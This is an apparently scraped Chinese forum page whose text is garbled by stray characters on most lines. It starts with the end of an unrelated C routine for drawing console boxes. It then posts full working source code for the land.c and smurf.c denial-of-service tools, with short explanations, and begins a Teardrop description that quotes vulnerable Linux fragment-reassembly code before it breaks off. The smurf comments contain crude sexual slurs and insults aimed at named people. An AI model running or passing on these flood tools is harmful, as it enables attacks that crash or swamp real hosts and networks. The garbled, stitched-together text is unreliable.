. g, C  E' H. [; W0 Tbox(3,3,19,75);& ~6 P  q' P7 E- |
box(4,4,17,73);
# @+ q* P% \/ }box(5,5,15,71);7 {7 F/ Q1 ]7 T, m$ h. Y% [
box(6,6,13,69);
! a1 s6 _4 b+ q6 xbox(7,7,11,67);
) q4 I9 N- T" U7 fbox(8,8,9,65);
( E$ ?# q8 g9 h, C) }( Kbox(9,9,7,63);
  c2 n" @9 x8 s; M/ fbox(10,10,5,61);( G. t+ D9 F1 |  o) I
box(11,11,3,59);1 \3 J5 l5 U7 R
box(12,12,1,57);
; J) m2 G: n* W7 P& b: oposcur(24,1);
5 V+ u+ j0 l8 C6 ~# I}</FONT></P><><FONT color=#009900>/************************************************************( R9 ~# T# j# a! d" Z7 L
* BOX *
  O( s3 c1 l# a0 a: }*----------------------------------------------------------*5 x+ S% o' C0 H0 L' O
* Written by: Jeff Ebert 7/01/87 *
# K* k5 R$ c. S% `7 L2 x* Modified by: xxxxxxxxxx *
- j+ Q& C9 K% `) f  H* *
( @0 r: h0 p. W8 D/ B1 E* Please modify me! *
. O2 P, v8 X5 m! L  ?% ^* Possible Enhancements include but are not limited t *# G3 |6 y) U7 X- i" }8 Y
* 1) Variable box character styles [1 line or 2] *
8 ]. U: X9 {7 F/ }2 c* 2) Error checking *' K0 i& f2 h3 R: g. K2 r2 S
* 3) Color options *
4 W9 c5 V8 F: e6 C% D* *
  L2 e* ~+ q! E% T: m8 m* *$ n6 `  R$ n# P- T1 Y8 F1 z
* This function builds a simple double frame for a menu. *( v( w. {' `) z* L; e
* The function is passed the parameters for the upper *0 [7 h1 d7 i: ~) m
* left corner row, upper left corner column the height *1 t" j3 ]5 F( O' Z' V
* of the frame and the width. *, ~/ Z1 `: b( D  A
* *' I. @) t9 `. [
************************************************************/1 R" b; j  P* z6 v  D& _3 D
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201  R: E# v. m, I" i; J7 \8 A
#define URCOR 187+ ~) T& `2 F, C) N& d9 `* a
#define LLCOR 200
' l1 g! ~' H# `2 E2 D5 T#define LRCOR 188
/ q$ m. u8 v" }* y#define VBAR 186
% ~2 H. P) {! ~8 ~. S#define HBAR 205
/ J6 m/ J1 ?! F# o3 C$ F#define ESC 27</FONT></P><><FONT color=#009900>
+ ?* D7 g: i, K! a9 obox(row, col, hgt, wdth)
" {9 o7 C2 P9 c- d# N5 k' `5 M( gint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
) z0 q5 ]8 U7 Pint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);4 P/ n; C3 Z' T! l' W# w0 F
putchar(ULCOR);4 [7 Z1 u8 D5 [5 X8 c$ [" U
for(x = col + 1; x &lt;=(col + wdth -1); x++)) e! G1 G3 p( [9 R1 I
putchar(HBAR);
" G% N1 ^, ]6 S8 Y6 l* `putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){( y! \! p3 b+ N2 z4 o" k/ `7 p7 P
poscur(x,col);8 g$ z9 [7 ]8 w7 Y( C
putchar(VBAR);3 L2 M9 ^" M6 A9 T3 u& D, q7 [2 e
poscur(x,col+wdth);! R! w: x; n% {5 N. Y& v6 S) j3 P
putchar(VBAR);
. w) y# G7 H8 U7 K( |}
% ]* V( o$ q* v# ]% ~poscur(x,col);
; Z. L3 n/ C8 \/ r: Cputchar(LLCOR);
2 J& ?- B( }# [( i2 X: lfor(x= col + 1; x &lt;=(col + wdth -1); x++)" @  W$ r/ y. d
putchar(HBAR);
! {% z: i8 Q" Yputchar(LRCOR);
  [4 d, m4 D4 L& h3 t! G6 P}</FONT></P><><FONT color=#009900>/********************************************************
( T* |) m/ N; u* ^( J& g7 N6 `, o* POSCUR *
% q$ i( H" i* n*------------------------------------------------------*( n( `5 U' n% \: c3 i
* This function positions the cursor at the specified *
0 T% c9 N8 `( Y* C4 o$ i/ Z( l" Y1 @0 _# D* x,y coordinate. It uses the ANSI standard ESCAPE *
) U( A. N; K% h/ T" H* \$ H2 q! B; @4 r* sequence to produce the desired effect. Its not the *1 O5 K1 f+ E/ U* y
* fastest way to position the cursor, but perhaps the *' U2 K% I+ h& W3 Y
* most portable. *
( a$ X7 q5 o* U2 [# c* *0 m  I# b- p( U: O0 u
********************************************************/
( q& k' |" O9 B  a4 Hposcur(xcor,ycor)- \6 j+ X, g/ \
int xcor,ycor;
9 n8 T9 |' _# [( I{ : p- p6 E0 b2 `3 m% V+ O  i$ h
printf("%c[%d;%dH",ESC,xcor,ycor);
- f7 Q. w# J  G2 Q}</FONT></P><><FONT color=#009900># q( U8 y% \& C8 M/ T4 \% x3 P  p5 \2 e
/********************************************************  A/ p8 v$ v! S. H- t
* CLRSCR *
' F- k  y0 ^: c9 E*------------------------------------------------------*% n# B+ N5 y" x' |  b. x
* This function positions the cursor at the specified *
& B6 }! ?! _+ n5 d8 O7 G* x,y coordinate. It uses the ANSI standard ESCAPE *- `( X3 l! C, W/ G$ k+ E) `
* sequence to produce the desired effect. Its not the *
  y2 O* E4 i. V$ i6 ^* fastest way to position the cursor, but perhaps the *; p! d' [3 \- z$ s7 J" E  H
* most portable. *
) j8 E: n; a3 h( \  @7 g8 k* *+ ~1 l. @9 O7 ~+ \9 z! ~
********************************************************/$ f" D6 @) a; u, t
clrscr()
9 ], }: M0 T( |* h& X{ # s) ^' k6 b! t* c4 X7 @- z
printf("%c[2J",ESC);8 K: T; i0 Y) Y% g' E
}</FONT>& m# r* q8 i' q: q2 m7 v7 y
</P>
作者: 韩冰    时间: 2004-10-4 02:40
<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract+ b% k8 R/ R8 |8 D% t5 D6 z
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自2 x- A/ [2 \- L+ E
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
- S( y5 n+ m: a# i( O0 ~<FONT color=#009900>/* land.c by m3lt, FLC$ M2 ]6 L* }8 ?& R9 q9 N; Q
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>& q. G2 o+ W7 f. A# W1 d& t2 F
#include <NETDB.H>
# K4 k( f& @$ D: x9 _' u4 m#include <ARPA inet.h>& s8 ^1 z0 W5 f4 u3 n
#include <NETINET in.h>
6 j4 @# a* v- L' }9 o$ ~* y4 S9 Q#include <SYS types.h>
+ Q3 m% I( D+ p9 U#include <SYS socket.h>$ B5 E. K6 Q6 A, U2 k2 X' x
#include <NETINET ip.h>
. K7 ^0 e5 j3 S, u5 Z3 u. L; Y#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头0 v7 Y2 m* h  f& S4 r5 v: l/ m8 w; V" d0 l
struct pseudohdr
( l2 m* S  _7 B( V$ u9 E- A{
; C& e1 R8 s$ [; Q3 O; g! x0 h) ~struct in_addr saddr;
& Z# D5 U3 S! O9 R2 xstruct in_addr daddr;: ]( u7 q1 s1 l5 E# E
u_char zero;
+ `# z, L  s4 Du_char protocol;
- K& U; B4 {% w" D( F# }8 V. yu_short length;& ]' G/ B9 R/ W1 I% d/ v
struct tcphdr tcpheader;' z$ R# h) L/ O! B% t7 A- ^6 A
};</FONT></P><><FONT color=#009900>//计算IP校验和5 K5 A/ r3 E" A$ N3 K5 L
u_short checksum(u_short * data,u_short length)& f5 y: S9 i2 ]# I$ E9 r" a7 p
{& E* u$ Y5 u8 U. @- e  Q
register long value;6 w, n" q4 r3 t
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)2 u: s; Y  L* b4 E* j
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1): @2 v, u' c( w/ z& n5 D/ b1 ?) Q
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);; i2 m$ `: l* @8 @, B4 T& @4 i) P4 K0 V
}</FONT></P><><FONT color=#009900>
6 H+ ~- k. r. ^6 O2 Jint main(int argc,char * * argv)
; l8 Z3 S9 U+ q' z! }3 _{
, z0 Z) O0 n' b2 K5 Estruct sockaddr_in sin;
) Y! R; @! F9 x5 vstruct hostent * hoste;5 ?* [: l9 {# h) a! q
int sock;
- K7 b- ?5 E/ H! j( {" D& D$ Vchar buffer[40];7 D+ M; s6 o& |/ Q+ Q0 U
struct iphdr * ipheader=(struct iphdr *) buffer;
; t8 ]0 F% X+ G5 Sstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
6 g, ?8 E6 g% H! h7 astruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
: F/ \' x5 P( m: j  ^{
! j5 G, b$ G0 `4 o- H' Q* Yfprintf(stderr,"usage: %s IP port\n",argv[0]);
9 ?/ F, a6 Y& f9 {, L1 treturn(-1);
' x% N. T: m5 R. s: W, J2 \}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));) w# g0 i+ V, s: c  M+ t! q
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
: o& K9 S7 [! F* }3 @bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
1 |+ a: |2 T8 \# Ielse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)4 h6 `' P1 t" h. g3 {8 |
{
* R% j2 Y2 {; |  D/ ^  vfprintf(stderr,"unknown host %s\n",argv[1]);0 \) ~- J+ \* D+ Q/ t/ V: [+ x  F3 {
return(-1);2 @* R. D5 Z0 f& t9 p+ f9 S' U" |
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
5 m/ s0 k4 Z3 x( ~% Q  j$ M" ]{' h5 `1 l2 w# b& |* ~8 N; L
fprintf(stderr,"unknown port %s\n",argv[2]);
. ]; F! N$ i3 Y) w. Xreturn(-1);. l. O# Q+ U- V$ u  W3 H
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
% A. `2 j9 R5 [# ^. s4 }if((sock=socket(AF_INET,SOCK_RAW,255))==-1)" O  L7 A2 ?9 s" _
{/ o. B8 e' l6 _9 L" k' r
fprintf(stderr,"couldn't allocate raw socket\n");
3 e$ f! ~0 T0 K% T! d. lreturn(-1);
8 Z! A6 I# [0 o/ D}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));1 Z  ?& m0 {" A6 S4 \; k  h+ Q
ipheader-&gt;version=4;" U  z9 {6 w0 I) e7 x, T1 B$ t: o
ipheader-&gt;ihl=sizeof(struct iphdr)/4;6 p) T% g/ [! _
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));3 w4 h, _! {, i
ipheader-&gt;id=htons(0xF1C);6 e; l5 E3 X2 ]$ [
ipheader-&gt;ttl=255;
3 [. i( x/ d( `+ X" Eipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
/ t7 z* X/ G* Q. k# `ipheader-&gt;saddr=sin.sin_addr.s_addr;9 v8 O7 w# H  Q* J5 }) w" U
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
* ?( }, f, u) `# dtcpheader-&gt;th_sport=sin.sin_port;5 D* y7 e8 t% i1 T5 h
tcpheader-&gt;th_dport=sin.sin_port;- }$ r" v' v& m$ E3 @: |
tcpheader-&gt;th_seq=htonl(0xF1C);
, {% m; }* i& H% g) Z* x1 q; W) \tcpheader-&gt;th_flags=TH_SYN;9 k& ], p- ?: X+ o2 [1 r
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
. s/ m, `0 q# }: J5 P4 O2 ntcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));6 L! ^7 e; o6 \% E0 M& v; r0 M3 ~/ m5 s
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
' }, j: ^* n* o% \* b" l2 c- rpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
! W3 A# _( ~6 `2 u0 t2 Tpseudoheader.protocol=6;$ u' P6 c; t; ]
pseudoheader.length=htons(sizeof(struct tcphdr));
; x3 p3 F; f: v( k, d* vbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));; v  W, \1 M$ _0 N5 Y' K# y% p
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
. E! Y9 v9 h5 I' I! ]' {% v0 z0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)* c" c! `3 K! A! U# Q$ ?
{2 F: u1 a& K7 u  E
fprintf(stderr,"couldn't send packet\n");/ @  _( v3 M3 o3 X
return(-1);
& Y4 Z$ u+ Q0 h+ `4 B}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);6 \1 r# v) s& q2 u0 Q
return(0);
; k- u: Z) B& l, h1 X" I  j" b# L- ~}</FONT></P><>4 f% e& U4 y( s  g1 y3 ^+ A; r
2 Smurf
8 v' Q1 _2 g$ ]* m* Q- H0 ksmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数9 y% `! P6 H  B8 l. E! R
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包! b% {. {- L% G& D& f
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些! R( M* [  ], n* H" X3 `
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
5 l+ f; F, [# h+ o! E( T(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变! a( F  t( y1 t2 }) t0 E- T
成不可能(没有WINS服务器时)。</P><P>/*
2 }9 k' P8 S) }+ z% \*# @: v; |  V9 ]9 s
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $  u( q1 n8 o5 K9 k
*
) c: n! T( C. [0 x0 q* spoofs icmp packets from a host to various broadcast addresses resulting, K7 |1 [: |# [0 J
* in multiple replies to that host from a single packet.; c# z' O6 n/ ~
*
# M! [* I6 R0 k9 B+ H* mad head t
8 ?, \) ^8 ]0 p& c. e" l* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
. f1 \5 P4 L" m; X* MissSatan for swallowing, napster for pimping my sister, the guy that
/ J( ^) ^" \. g% y* invented vaseline, fyber for trying, knowy, old school #havok, kain
% @5 H) ?! s( j, v6 n2 e* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
# z" F) [! `& m! q* have missed (you know who you are).% S7 E- G! ?' \" {$ a! H+ l: e8 }
*, M2 p& t9 g1 Z+ g0 b$ O4 E) a
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
" F; K: r2 f$ T! Y6 ]2 Q/ x* thing he is (he's -almost- as stubborn as me, still i managed to pick up) ^$ h! b' J6 B4 `' g: F
* half the cheque).& E* a: s, u+ H) M3 l' `
*
  p1 ]+ }) |4 i* and a special hi to Todd, face it dude, you're fucking awesome.8 O1 v! Q" _0 m
*
! W) ]5 o5 \# O' O) k, a& u* mad anal t
/ _# R; B1 U$ v* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
2 h) w3 G8 G! E% B$ t* because they plain suck, Rolex for being a twit, everyone that9 ^2 k5 O2 p" Q& t$ `) v
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
% I7 M, P6 z- n& m* partner, #cha0s, sedriss for having an ego in inverse proportion to5 t; S% Y- U' |2 Y4 R5 A9 u0 x
* his penis and anyone that can't pee standing up -- you don't know what
  H3 Q' @! T! n. Z, ?* your missing out on.' P& ~7 z) s, O. `4 }/ e0 Z7 V
*: ]; B. ^# B; j! J2 z% H# B
* and anyone thats ripped my code (diff smurf.c axcast.c is rather- A! l5 m/ H) ^) ]
* interesting).* ^/ X5 h, |+ o& P
*
. L7 D" {/ p4 s' C2 L- D/ x0 d* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill$ _5 N+ i3 u* C6 E
* Robbins for trying to steal my girlfriend. Not only did you show me
: Z  Z. S* M& g" |* no respect but you're a manipulating prick who tried to take away the1 ?+ s- r& p/ d( ?+ c9 D, k
* most important thing in the world to me with no guilt whatsoever, and
8 h  ~" T1 F7 }* for that I wish you nothing but pain. Die.
' }) z' I6 x  \0 x8 G2 A*" \/ ^4 B# z- ]: c: P( F3 ~
* disclaimer:
$ ^( N: m7 p+ r* I cannot and will not be held responsible nor legally bound for the* |9 h0 u; R0 I2 ], u( g
* malicious activities of individuals who come into possession of this6 P$ [. a  U* T) p0 Q' i! W5 Z. r
* program and I refuse to provide help or support of any kind and do NOT
4 a2 `; R" \0 R. B7 [  N* condone use of this program to deny service to anyone or any machine.
- S% k5 d! o6 Y/ o" R* This is for educational use only. Please Don't abuse this.7 h8 l+ E7 G1 Z
*. O5 m1 `8 M6 c5 {# A' q8 ?2 f7 M
* Well, i really, really, hate this code, but yet here I am creating another; o0 }9 r; I; ]- ~9 N4 w/ r! N( f
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
6 E" j* q4 I! o* like most programmers don't like seeing bugs in their code. I saw a few# ]* e4 @9 Y% B/ J( m
* things that should have been done better or needed fixing so I fixed
& |) G, e) s, _, k* them. -shrug-, programming for me as always seemed to take the pain away
3 \4 U. q7 y7 |0 N9 H" K& E3 t* ...6 X# f: @9 s1 n; a. a
*/ |, A' N4 [; p2 V8 B- Z- ?1 l4 Y
*
2 N  v1 i) y; k$ k4 G8 ~6 V*/</P><P>#include <SIGNAL.H>8 x1 Y" y* x( v2 H0 @5 t
#include <STDIO.H>
4 C( E% D2 i" h3 x7 S#include <STDLIB.H>4 m6 v  k/ A% N: d* B
#include <SYS socket.h>
2 @  Z: O9 |2 H- f) h0 \#include <SYS types.h>+ k' u9 q, e  |% d" ~& \
#include <NETINET in.h>
* y2 t) P$ W1 `#include <NETINET ip.h>+ C1 J4 D4 ?8 V6 [6 K
#include <NETINET ip_icmp.h># `% h2 |$ u6 T# ^1 k( w
#include <NETDB.H>
9 d5 L/ K7 w, R" K#include <CTYPE.H>  [: L5 ^0 a+ e/ F* t
#include <ARPA inet.h>
2 s1 i" @+ M8 F' e2 T#include <UNISTD.H>0 p  `2 L8 f3 J6 u4 z
#include <STRING.H></P><P>void banner(void);
. n+ A& Z; Q0 z7 I. D' w. l5 jvoid usage(char *);8 s) n  O  ]8 `% I  ~7 @
void smurf(int, struct sockaddr_in, u_long, int);) R+ K0 ~* p& @+ {6 ^
void ctrlc(int);
0 Q& O7 L3 ?: `" dunsigned short in_chksum(u_short *, int);</P><P>/* stamp */
0 Q9 s! b# H% b6 l" I% U! `char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
% B& D5 `, g% \{& K% d$ p/ y0 Z) l( _
struct sockaddr_in sin;
7 L$ _0 Z, B! F5 X6 Astruct hostent *he;$ P1 D4 c9 f" G
FILE *bcastfile;
. k% k9 F) Z7 Q( E( Fint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
% ~# c( p& f2 q0 [% j$ Zchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
9 n( h" Z' ?2 Y$ Lsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
" D& l7 ]/ O. J/ A2 `perror("resolving source host");
* f' v. B9 _+ Sexit(-1);, J% C/ h8 w2 S' a8 d
}
  q8 R+ N% A: z) h5 _/ B3 w9 Omemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);2 k7 ^6 }" e8 H- l
sin.sin_family = AF_INET;
$ Q- [* i  B- I2 u1 I% ]6 Qsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
, g2 k$ U$ x. K( Q1 I. F9 Jdelay = atoi(argv[4]);5 y5 E4 o& T3 O( a$ Q
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
. v3 G0 |( y# m6 N% |( xperror("opening bcast file");
- l3 A0 F0 L3 Y* D7 o2 b1 _3 Eexit(-1);  }3 p, l' \& R  t- c4 M
}9 i7 C0 H- d& L, v
x = 0;
! ^4 p9 K* W; b; k, Cwhile (!feof(bcastfile)) {, t$ I, R" D- j9 C9 n! o
fgets(buf, 32, bcastfile);: \  L4 i/ d, v8 i# g( Z
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;+ _& F, `: v3 j% P
for (i = 0; i &lt; strlen(buf); i++)
8 m7 ]  D. _& k# Yif (buf == '\n') buf = '\0';
# g% w) D, y) _* R) R' R6 P- p$ R8 Ybcastaddr[x] = malloc(32);
! i2 V6 B. t1 R& H/ ?strcpy(bcastaddr[x], buf);- Q) W6 {+ r; n" y3 e
x++;- Z0 h% T% G9 z9 ?2 S
}* Q" h+ o" b+ @6 K
bcastaddr[x] = 0x0;% u2 L8 u) E" Z& S8 `4 X3 p. o: o
fclose(bcastfile);</P><P>if (x == 0) {
/ e% l% |* z, X1 f: i9 K! j. v2 U$ ofprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
, Z0 j8 J( Y5 d! dexit(-1);
! {( Y- _5 \0 @$ a) Z}' E. r' |+ y& `1 S" o+ T
if (pktsize &gt; 1024) {7 H- g: \* L" t0 T/ c
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
, ?: k6 n) F6 d" H7 z, p5 @+ v8 Oexit(-1);
1 o  _& z# _7 j% u9 X0 D' A}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
; A; @% q( _$ b0 C# zperror("getting socket");3 C! }) x+ Z6 Z1 x0 ?& m2 h
exit(-1);
' [, ]+ w9 `: k2 c1 f# S- Q. ^$ M}
1 S4 k2 n; ]3 [setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {# [: s' e/ u# V( F) i( u
if (!(i % 25)) { printf("."); fflush(stdout); }, E9 x5 V7 R; ~) h$ c
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);& P& g5 C6 D, [  j
cycle++;
8 m5 H% N7 r. w' wif (bcastaddr[cycle] == 0x0) cycle = 0;
9 u: Q' g8 a7 |' `  rusleep(delay);
& r5 M1 z. ^/ _, u/ i6 Q; ]}
% U/ q, m) K4 n9 F, j8 \puts("\n\n");
8 ~' W* _" d0 x+ c. M. b1 B9 Creturn 0;& }" e7 |( E; T  C
}</P><P>void banner (void)4 y% S3 @3 E0 T, Y+ B: y
{
) i9 M- f; q' I2 hputs("\nsmurf.c v4.0 by TFreak\n");% j2 S# h- s* n) p' E
}</P><P>void usage (char *prog)
9 w* v$ `( x. O{
. b$ |$ t+ V! ^5 C# d! sfprintf(stderr, "usage: %s <TARGET><BCAST file>"2 c- q/ s6 n7 i' e9 k1 _- I
"<NUM packets> <PACKET delay><PACKET size>\n\n"
9 [3 E/ |  \9 y, ^1 c1 s"target = address to hit\n"% M7 q) D4 x% ~5 |2 R2 P# H
"bcast file = file to read broadcast addresses from\n"2 `8 N' Z0 M5 D
"num packets = number of packets to send (0 = flood)\n"# L/ p/ ]) s- Z: o+ A! B/ b: B" s6 n
"packet delay = wait between each packet (in ms)\n"
( L3 o% F- I1 I3 x0 F( U"packet size = size of packet (&lt; 1024)\n\n", prog);2 p( k& O8 x+ `& X& n. W& a
exit(-1);
8 n; Y0 w4 o: p}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
/ Y0 m  v1 g! Z5 X5 w1 c/ E{
/ f0 Q* J. q2 |; N# Ostruct iphdr *ip;
8 S& z9 `$ C1 b4 Bstruct icmphdr *icmp;
7 _! w  y9 s6 G5 J6 vchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
* ?1 y/ ~; p* x; z! B" b+ aip = (struct iphdr *)packet;% \% M6 G) t% t  ]
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);& Q. n3 \4 z0 ~# Y5 g, e
ip-&gt;ihl = 5;, D, K7 y2 ~( U$ a
ip-&gt;version = 4;
# u3 z5 a& j8 p/ ]* n; jip-&gt;ttl = 255;
- h; d* z) r/ yip-&gt;tos = 0;& H$ W, Z( {, _; K' B
ip-&gt;frag_off = 0;/ h6 e9 Y! r3 ~2 ~6 ^4 j" b/ R
ip-&gt;protocol = IPPROTO_ICMP;
( A2 S- K: @$ F" Aip-&gt;saddr = sin.sin_addr.s_addr;
( Z* u8 E" d; ^1 F- e, X, Yip-&gt;daddr = dest;, R/ D' Y+ O( e" ^) C# Q/ `
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
% B$ t2 q9 F4 w! T7 q8 s* Zicmp-&gt;type = 8;- x; _  u, ~. V+ J! B$ c; ~' m
icmp-&gt;code = 0;
4 F0 d* s& x0 H/ M! N9 d* Q5 v; gicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
7 }9 X* e, O% p9 ~* ]0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */4 g1 D- @: k" N
}</P><P>void ctrlc (int ignored)! `. b$ L, B* g+ h
{
+ D* F# F' d0 u5 L5 C( J6 O+ uputs("\nDone!\n");; j. ^0 r2 k; J8 b
exit(1);
0 C  ?. s# ?1 Q}</P><P>unsigned short in_chksum (u_short *addr, int len)3 ]" h; Z: m0 g
{
% G3 X5 t. R4 l. w& U  aregister int nleft = len;# }2 `4 z- V: ?  e+ h- c
register int sum = 0;( E# c% L8 F# f9 Y' U# h) b) q8 @
u_short answer = 0;</P><P>while (nleft &gt; 1) {
+ l0 r/ `8 B+ g3 j6 x1 zsum += *addr++;
6 D" w2 ^  |/ V1 T" ]nleft -= 2;/ K- ?- w$ C. f- `$ T- {  v% j
}</P><P>if (nleft == 1) {
7 c& M1 Z+ }: v* C*(u_char *)(&amp;answer) = *(u_char *)addr;- l/ ]! G+ U- C4 S, V1 Y: n
sum += answer;
* T5 q/ _7 m9 d7 F- o}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);, `. L8 W3 @1 ~' J3 z
sum += (sum &gt;&gt; 16);" B4 v0 L; T5 V' ~8 w$ U( S
answer = ~sum;
1 o! k; u# S, ^1 Nreturn(answer);
! B/ L, F0 \9 H/ {' r' s}</P><P>
2 a7 h8 M: w# ^- Y5 m% @1 Z# B3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:1 L! z6 H. M( K3 ^8 R/ C7 G
fp = qp-&gt;fragments;# f9 \9 y/ [* j: Z  ~' W
while(fp != NULL)
" S2 ?  I' ~) E4 ?( V- w{$ C/ s& j3 @! m# M0 }! B8 \
if(count+fp-&gt;len &gt; skb-&gt;len), h5 u% p( {1 i* j
{. V8 H! U' B7 F: M3 Q
error_to_big;
- H' F; C+ q, n5 c}/ M( S3 M* e4 ^( e$ j5 u- x) z5 p. J; f
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
4 T3 \: _. x2 u5 Z6 _count += fp-&gt;len;$ k- p5 ]! K5 ^8 b$ q5 e0 o3 A8 [" Q
fp = fp-&gt;next;
; o5 Z3 m$ k- V9 P. B. j}; x  g" H4 ]! _1 u0 ~. X# f
这里只检查了长度过大的情况,而没有考虑长度过小的情况,
. f4 `/ Q( `0 P8 O& D2 @- v如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
4 N# R) Y: W9 q2 h# oend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)5 H5 g" z+ s% O* M
是这样处理的:
3 A/ C0 b$ D( a: }! jif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
( k6 E6 W  Z- B2 X" L" N{
0 }' g0 `! C: fi = prev-&gt;end - offset;
0 {6 x# I, {- Z: Q& z1 B# b$ N3 goffset += i; /* ptr into datagram */
5 b% [0 u" U* J6 b7 P; w: Eptr += i; /* ptr into fragment data */" F& |: o- i) p- ~
}</P><P>/* Fill in the structure. */1 Z0 C- N/ f/ W, Q% j2 N
fp-&gt;offset = offset;
2 f$ Z! O- o, i- B! J+ Z7 V# Sfp-&gt;end = end;
